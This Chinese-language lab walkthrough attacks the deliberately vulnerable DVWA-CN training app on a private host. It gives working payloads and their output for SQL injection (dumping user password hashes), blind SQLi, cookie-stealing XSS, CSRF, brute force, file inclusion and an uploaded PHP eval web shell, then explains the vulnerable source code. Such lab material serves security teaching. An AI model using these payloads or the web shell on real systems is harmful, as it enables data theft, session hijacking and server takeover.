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# 编码规则

• url编码

```
%20='='
%23='#'
%27='''
%C8%B7%B6%A8='gb2312(确定)'
```

• ascii编码

```
0x3a=':'
CHAR(32,58,32)=('空格',':','空格')
```

# 漏洞1: SQL 注入

### 测试方法:

点击获取数据库基本信息

 $\label{linear_http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27\%20UNION\%20SELECT\%201, CONCAT_WS(CHAR(32,58,32), user (), database(), version())\%20\%23\&Submit=\%C8\%B7\%B6\%A8$ 

### 页面返回:

```
ID: -1' UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #
First name: 1
Surname: root@localhost : dvwacn : 5.5.41-0ubuntu0.14.04.1-log
```

# 点击获取数据库所有表

# 页面返回:

```
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: guestbook
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users
```

## 点击获取users表的字段

 $\label{linear_$ 

```
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: user_id
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: first name
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: last_name
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: user
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: password
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: avatar
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: last_login
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: failed_login
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: id
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: uuid
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: name
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: slug
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
Surname: email
ID: -1' UNION SELECT 1,concat(column name) from information schema.columns where table name=0x7573657273 #
First name: 1
Surname: image
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
```

```
Surname: cover
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: bio
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
Surname: website
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: location
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: accessibility
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: status
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: language
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: meta_title
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
{\tt Surname: meta\_description}
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: tour
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: created_at
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: created by
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: updated_at
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: updated_by
```

### 点击获取users表的内容

 $\label{lem:http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201, concat(user,0x3a,password)\%20 from\%20users\%20\%23\&Submit=\%C8\%B7\%B6\%A8$ 

## 页面返回:

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: admin:21232f297a57a5a743894a0e4a801fc3

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: gordonb:e99a18c428cb38d5f260853678922e03

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: 1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: smithy:5f4dcc3b5aa765d61d8327deb882cf99

# 漏洞2: SQL 盲注

#### 测试方法:

测试是否有注入,对比页面返回 1=1

# 页面返回:

ID: 1' and 1=1 and '1'='1
First name: admin
Surname: admin

测试是否有注入,对比页面返回 1=2

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?id=1%27%20and%201=2%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

### 页面返回:

空白

测试数据库版本,有数据说明数据库版本为5.0

 $\label{limit} $$ $$ \frac{1}{27.20} - \frac{1}{27.$ 

# 页面返回:

ID: 1' and left(version(),1)=5 and '1'='1
First name: admin

Surname: admin

测试数据库长度,有数据说明长度正确

#### 页面返回:

```
ID: 1' and length(database())=6 and '1'='1
First name: admin
```

测试数据库名称第1个字符

 $\label{limit} $$ $$ \frac{1}{20.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27\%20and\%20left(database(),1)=\%27d\%27\%20and\%20\%271\%27=\%271\&Submit=\%C8\%B7\%B6\%A8$$ 

### 页面返回:

```
ID: 1' and left(database(),1)='d' and '1'='1
First name: admin
Surname: admin
```

测试数据库名称第2个字符

 $\label{limit} $$ $$ $ \frac{1}{27\%20$ and \%20} = 1\%27\%20$ and \%20 left(database(),2) = \%27 dv\%27\%20$ and \%20\%27\%27 left(database(),2) = \%27 dv\%27\%20$ and \%20\%27\%27 left(database(),2) = \%27 dv\%27\%20$ and \%20\%27 left(database(),2) = \%27 dv\%27\%20$ and \%20\%20$ left(database(),2) = \%27 dv\%27\%20$ left(database(),2) = \%27 dv\%27$ 

### 页面返回:

```
ID: 1' and left(database(),2)='dv' and '1'='1
First name: admin
Surname: admin
```

测试数据库名称第3个字符

 $\label{limit} $$ $$ $$ \frac{1}{27}.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),3)=%27dvw%27%20and%20 %271%27=%271&Submit=%C8%B7%B6%A8 $$$ 

## 页面返回:

```
ID: 1' and left(database(),3)='dvw' and '1'='1
First name: admin
Surname: admin
```

测试数据库名称第4个字符

 $\label{limit} $$ $$ \frac{1}{20and\%20left(database(),4)=\%27dvwa\%27\%20and\%20left(database(),4)=\%27dvwa\%27$ 

## 页面返回:

```
ID: 1' and left(database(),4)='dvwa' and '1'='1
```

First name: admin
Surname: admin

测试数据库名称第5个字符

 $\label{limit} $$ $$ \frac{1}{20.168.56.80/dvwacn/vulnerabilities/sqli_blind?id=1%27\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and\%20left(database(),5)=\%27dvwac\%20and$ 

# 页面返回:

```
ID: 1' and left(database(),5)='dvwac' and '1'='1
First name: admin
Surname: admin
```

测试数据库名称第6个字符

 $\label{limit} $$ $$ $ \frac{1}{20.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1\%27\%20 and \%20left(database(),6)=\%27dvwacn\%27\%20 and \%20\%271\%27=\%271\&Submit=\%C8\%B7\%B6\%A8$$ 

# 页面返回:

```
ID: 1' and left(database(),6)='dvwacn' and '1'='1
First name: admin
Surname: admin
```

# 漏洞3: 反射型跨站

测试方法:

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/?name=%3Cscript%3Ealert('xss')%3C/script%3E

页面返回:

xss

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/?name=%3Cscript%3Ealert(document.cookie)%3C/script%3E

页面返回:

security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

# 漏洞4:存储型跨站

测试方法:

用户输入:

用户名: xss

信 息: <script>alert('xss')</script>

# 捕获的http数据包:

POST /dvwacn/vulnerabilities/xss\_s/ HTTP/1.1

Host: 192.168.56.80

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN, zh; q=0.8, en-US; q=0.5, en; q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 103

#### 页面返回:

xss

### 用户输入:

用户名: xss

信 息: <script>alert(document.cookie)</script>

### 捕获的http数据包:

POST /dvwacn/vulnerabilities/xss\_s/ HTTP/1.1

Host: 192.168.56.80

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 109

#### 页面返回:

security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

# 漏洞5: 跨站请求伪造 (CSRF)

## 测试方法:

# 用户输入:

请输入新密码: admin

请再输入一次: admin

# 捕获的http数据包:

GET /dvwacn/vulnerabilities/csrf/?password\_new=admin&password\_conf=admin&Change=%B8%FC%B8%C4 HTTP/1.1

Host: 192.168.56.80

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

 $\label{location} Accept: \ text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8 \\$ 

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.80/dvwacn/vulnerabilities/csrf/Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

Connection: close

# 页面返回:

密码已更改。

# 漏洞6: 暴力破解

### 测试方法:

http://192.168.56.80/dvwacn/vulnerabilities/brute/

### 用户输入:

用户名: admin

密码: 12345

http://192.168.56.80/dvwacn/vulnerabilities/brute/?username=admin&password=12345&Login=%B5%C7%C2%BD#

### 页面返回:

用户名或者密码错误。

### 暴力破解密码(变量password=§12345§)

GET /dvwacn/vulnerabilities/brute/?username=admin&password=§12345§&Login=%B5%C7%C2%BD HTTP/1.1

Host: 192.168.56.80

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

 $\label{location_policy} \mbox{Accept: text/html,application/xhtml+xml,application/xml;} \\ \mbox{$q$=0.9,*/*;} \\ \mbox{$q$=0.8$}$ 

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/?username=admin&password=1&Login=%B5%C7%C2%BD

Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7

Connection: close

### 状态

payload admin status 200 length 6291

# 页面返回:

# 漏洞7: 代码执行

测试方法:

用户输入:

请在下面文本框中输入一个ip地址: 8.8.8.8

# 捕获数据包:

```
POST /dvwacn/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/exec/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

ip=8.8.8.8&submit=%C8%B7%B6%A8
```

# 页面返回:

```
PING 202.106.0.20 (202.106.0.20) 56(84) bytes of data.

--- 202.106.0.20 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 1999ms
```

# 漏洞8:不安全的验证码

测试方法:

用户点击:

单击我测试

# 捕获的http数据包:

```
POST /dvwacn/vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/captcha/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
```

 $\verb|step=2\&password_new=admin888\&password_conf=admin888\&Change=\%B5\%A5\%BB\%F7\%CE\%D2\%B2\%E2\%CA\%D4|$ 

页面返回:

密码已更改。

# 漏洞9: 文件包含

测试方法:

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../phpinfo.php

页面返回:

phpinfo信息

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../include.txt

页面返回:

here is file inclution test!!!!!! code is excute here

# 漏洞10: 文件上传

引用:

sql注入漏洞上传文件:

select '<?php @eval(\$\_POST["cmd"]);?>' INTO OUTFILE '/var/www/mm.php'

测试方法:

用户点击:

浏览-->mm.php-->上传

mm.php内容:

<?php @eval(\$\_POST[cmd]);?>

页面返回;

../../hackable/uploads/mm.php上传成功!

木马url:

http://192.168.56.80/dvwacn/hackable/uploads/mm.php

本地利用文件:

local.html

### 内容:

```
<html>
<body>
<form action="http://192.168.56.80/dvwacn/hackable/uploads/mm.php" method="post">
<input type="text" name="cmd" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
```

### 访问local.html

### 输入:

```
$output = shell_exec('pwd');echo "$output";
```

#### 输出:

/var/www/dvwacn/hackable/uploads

### 输入:

```
$output = shell_exec('ls -lh');echo "$output";
```

#### 输出:

```
total 4.0K
-rw-r--r-- 1 www-data www-data 27 Jul 18 17:07 mm.php
```

# 漏洞11: WebServices 命令执行

## 测试方法:

使用BurpSuite配合测试

### 用户输入:

```
请在下面文本框中输入一个ip地址: 8.8.8.8
```

## 捕获的http数据包:

```
POST /dvwacn/vulnerabilities/ws-exec/ws-commandinj.php HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset="utf-8"
X-Requested-With: XMLHttpRequest
Referer: http://192.168.56.80/dvwacn/vulnerabilities/ws-exec/
Content-Length: 292
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
```

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pingAddressLow xmlns="http://localhost"><address>8.8.8</address></pingAddressLow></soap:Body></soap:Envelope>

### 返回的数据包;

HTTP/1.1 200 OK

Date: Mon, 18 Jul 2016 09:16:36 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.8 X-SOAP-Server: NuSOAP/0.9.5 (1.123)

Vary: Accept-Encoding Content-Length: 518 Connection: close

Content-Type: text/xml; charset=gb2312

<?xml version="1.0" encoding="gb2312"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/
soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/s
oap/encoding/"><SOAP-ENV:Body><ns1:pingAddressLowResponse xmlns:ns1="http://localhost"><return xsi:type="xsd:
string"></return></ns1:pingAddressLowResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

# dvwacn之一sql注入

dvwacn之sqli物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/sqli/source# ls
high.php low.php medium.php
```

# 安全级别

• low.php

```
<?php
if(isset($_GET['Submit'])){
   // Retrieve data
   $id = $_GET['id'];
   $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
   $result = mysql_query($getid) or die('' . mysql_error() . '' );
   $num = mysql_numrows($result);
   $i = 0;
   while ($i < $num) {
       $first = mysql_result($result,$i,"first_name");
       $last = mysql_result($result,$i,"last_name");
       $html .= '';
       $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
       $html .= '';
       $i++;
}
?>
```

• medium.php

```
if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

    $result = mysql_query($getid) or die('' . mysql_error() . '' );
```

# • high.php

```
<?php
if (isset($_GET['Submit'])) {
   // Retrieve data
   $id = $_GET['id'];
   $id = stripslashes($id);
   $id = mysql_real_escape_string($id);
   if (is_numeric($id)){
      $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
      $num = mysql_numrows($result);
      $i=0;
      while ($i < $num) {
          $first = mysql_result($result,$i,"first_name");
          $last = mysql_result($result,$i,"last_name");
          $html .= '';
          $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
          $html .= '';
          $i++;
      }
   }
}
?>
```

# 获取数据库基本信息

实际的查询语句是

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

#### sql注入url地址

http://192.168.56.80/dvwacn/vulnerabilities/sqli/

用户ID输入:

```
id=-1' UNION SELECT 1, CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
```

实际上拼接的sql语句是:

```
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1, CONCAT_WS(CHAR(32,58,32),user(),d atabase(),version())#'
```

上面 1' 后面的单引号作用是闭合 user\_id = '\$id '中的单引号, # 号的作用是注释 user\_id = '\$id' 中原有的后面的单引号

#### 完整的sql注入url

 $\label{lem:http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,%20CONCAT_WS(CHAR(32,58,32),user(),database(),version())%238Submit=%E7%A1%AE%E5%AE%9A$ 

#### url解码后

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1, CONCAT\_WS(CHAR(32,58,32),user(),data base(),version())#&Submit=确定

# 符号说明

• '=单引号

双引号里面的字段会经过编译器解释然后再当作HTML代码输出

单引号里面的不需要解释,直接输出

• # =单行注释符

# **UNION**

联合的意思,即把两次或多次查询结果合并起来。

用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。

UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。

同时,每条 SELECT 语句中的列的顺序必须相同.

SQL UNION 语法:

```
SELECT column_name FROM table1
UNION
SELECT column_name FROM table2
```

# CONCAT()函数

CONCAT () 函数用于将多个字符串连接成一个字符串,是最重要的mysql函数之一

用法:

```
mysql CONCAT(str1,str2,...)
```

返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回值为 NULL。或许有一个或多个参数。 如果所有参数均为非二进制字符串,则结果为非二进制字符串。 如果自变量中含有任一二进制字符串,则结果为一个二进制字符串。一个数字参数被转化为与之相等的二进制字符串格式;若要避免这种情况,可使用显式类型 cast, 例如: SELECT CONCAT(CAST(int col AS CHAR), char col)

```
mysql> SELECT CONCAT('My', 'S', 'QL');
+----+
| CONCAT('My', 'S', 'QL') |
| MySQL
+----+
1 row in set (0.00 sec)
mysql> SELECT CONCAT('My', NULL, 'QL');
+----+
| CONCAT('My', NULL, 'QL') |
NULL
1 row in set (0.00 sec)
mysql> SELECT CONCAT(14.3);
| CONCAT(14.3) |
+----+
| 14.3 |
1 row in set (0.00 sec)
```

# CONCAT\_WS()函数

CONCAT\_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

用法:

```
CONCAT_WS(separator,str1,str2,...)
```

注意:

如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。

如连接后以逗号分隔

和MySQL中concat函数不同的是, concat\_ws函数在执行的时候,不会因为NULL值而返回NULL

```
mysql> select concat_ws(',','1','2',NULL);
+------+
| concat_ws(',','1','2',NULL) |
+------+
| 1,2 |
+-----+
1 row in set (0.00 sec)
```

# CHAR()字符串函数

- CHAR(32)=空格
- CHAR(32,58,32)=空格:空格

```
mysql> select ASCII('|');
+-----+
| ASCII('|') |
+-----+
| 124 |
+-----+
```

```
1 row in set (0.00 sec)

mysql>
```

mysql中的查询结果

• user\_id = '1'

• user id = '-1'

url中的查询结果

• user\_id = '1'

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?

id=1%27+UNION+SELECT+1%2CCONCAT\_WS%28CHAR%28124%29%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%29%23%27&Submit=%C8%B7%B6%A8#

```
ID: 1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: admin
Surname: admin
ID: 1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: 1
Surname: root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log
```

• user id = '-1'

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?

id=-1%27+UNION+SELECT+1%2CCONCAT\_WS%28CHAR%28124%29%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%23%27&Submit=%C8%B7%B6%A8#

```
ID: -1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: 1
Surname: root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log
```

url解码后

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,CONCAT\_WS(CHAR(124),user(),database(),version())#'&Submit=确定

# 获取当前数据库所有表

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?

 $id = -1\%27\%20 UNION\%20 SELECT\%201, concat (table\_name)\%20 from\%20 information\_schema. tables\%20 where\%20 table e\_schema = database ()\%20\%23 \& Submit = \%C8\%B7\%B6\%A8$ 

```
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: guestbook
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users
```

url解码后

 $http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' \ UNION \ SELECT \ 1, concat(table_name) \ from information_s \ chema.tables \ where \ table_schema=database() \ \#\&Submit=确定$ 

mysql中的查询结果:

# table\_name

table\_name指的是当前数据库的表名

# information\_schema库

查询看看库里有多少个表, 表名等

select \* from INFORMATION\_SCHEMA.TABLES

information\_schema.tables 这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information\_schema.tables表里面。

Mysql的INFORMATION\_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括"数据词典"和"系统目录"。

下面对一些重要的数据字典表做一些说明:

- SCHEMATA表: 提供了关于数据库的信息。
- TABLES表:给出了关于数据库中的表的信息。
- COLUMNS表:给出了表中的列信息。
- STATISTICS表:给出了关于表索引的信息。
- USER\_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
- SCHEMA\_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
- TABLE\_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables\_priv授权表。
- COLUMN PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns priv授权表。
- CHARACTER\_SETS表: 提供了关于可用字符集的信息。
- COLLATIONS表:提供了关于各字符集的对照信息。
- COLLATION\_CHARACTER\_SET\_APPLICABILITY表: 指明了可用于校对的字符集。
- TABLE\_CONSTRAINTS表: 描述了存在约束的表。
- KEY COLUMN USAGE表: 描述了具有约束的键列。
- ROUTINES表: 提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数 (UDF)。
- VIEWS表:给出了关于数据库中的视图的信息。
- TRIGGERS表: 提供了关于触发程序的信息。

# 系统信息函数

• VERSION()返回数据库的版本号

- CONNECTION\_ID()返回服务器的连接数,也就是到现在为止mysql服务的连接次数
- DATABASE(),SCHEMA()返回当前数据库名
- USER()返回当前用户的名称
- CHARSET(str)返回字符串str的字符集
- COLLATION(str)返回字符串str的字符排列方式
- LAST\_INSERT\_ID()返回最后生成的auto\_increment值

# 点击获取所有users表的字段

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?

 $id = -1\%27\%20 UNION\%20 SELECT\%201, concat (column_name)\%20 from\%20 information\_schema. columns\%20 where\%20 table\_name = 0x7573657273\%20\%23\&Submit = \%C8\%B7\%B6\%A8$ 

url解码后

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,concat(column\_name) from information\_schema.columns where table\_name=0x7573657273 #&Submit=确定

# column\_name

column\_name指的是表的列名

### 0x7573657273

0x7573657273这个是users的十六进制表示形式。

```
mysql> select hex('users');
+-----+
| hex('users') |
+-----+
| 7573657273 |
+-----+
1 row in set (0.00 sec)
```

mysql中的查询结果

获取当前数据库users表的内容

id=-1%27%20UNION%20SELECT%201,concat(user,0x3a,password)%20from%20users%20%23&Submit=%C8%B7%B 6%A8

```
ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: admin:7fef6171469e80d32c0559f88b377245

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: gordonb:e99a18c428cb38d5f260853678922e03

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: 1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

### url解码后:

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,concat(user,0x3a,password) from users #&Submit=确定

mysql中的查询结果:

## 0x3a

十六进制0x3a=十进制58

```
mysql>
```

```
mysql> select ascii(':');
+-----+
| ascii(':') |
+-----+
| 58 |
+-----+
1 row in set (0.00 sec)
mysql>
```

# dvwacn之二sql盲注

dvwacn之sql物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/sqli_blind/source# ls
high.php low.php medium.php
```

# 安全级别

• low.php

```
<?php
if (isset($_GET['Submit'])) {
   // Retrieve data
   $id = $_GET['id'];
   $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
   $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
   $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
   $i = 0;
   while ($i < $num) {
      $first = mysql_result($result,$i,"first_name");
      $last = mysql_result($result,$i,"last_name");
      $html .= '';
      $html .= '';
      $i++;
}
?>
```

• medium.php

```
if (isset($_GET['Submit'])) {
    // Retrieve data

    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

$num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
```

## • high.php

```
<?php
if(isset($_GET['Submit'])){
               // Retrieve data
               $id = $_GET['id'];
               $id = stripslashes($id);
               $id = mysql_real_escape_string($id);
               if (is_numeric($id)) {
                               $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
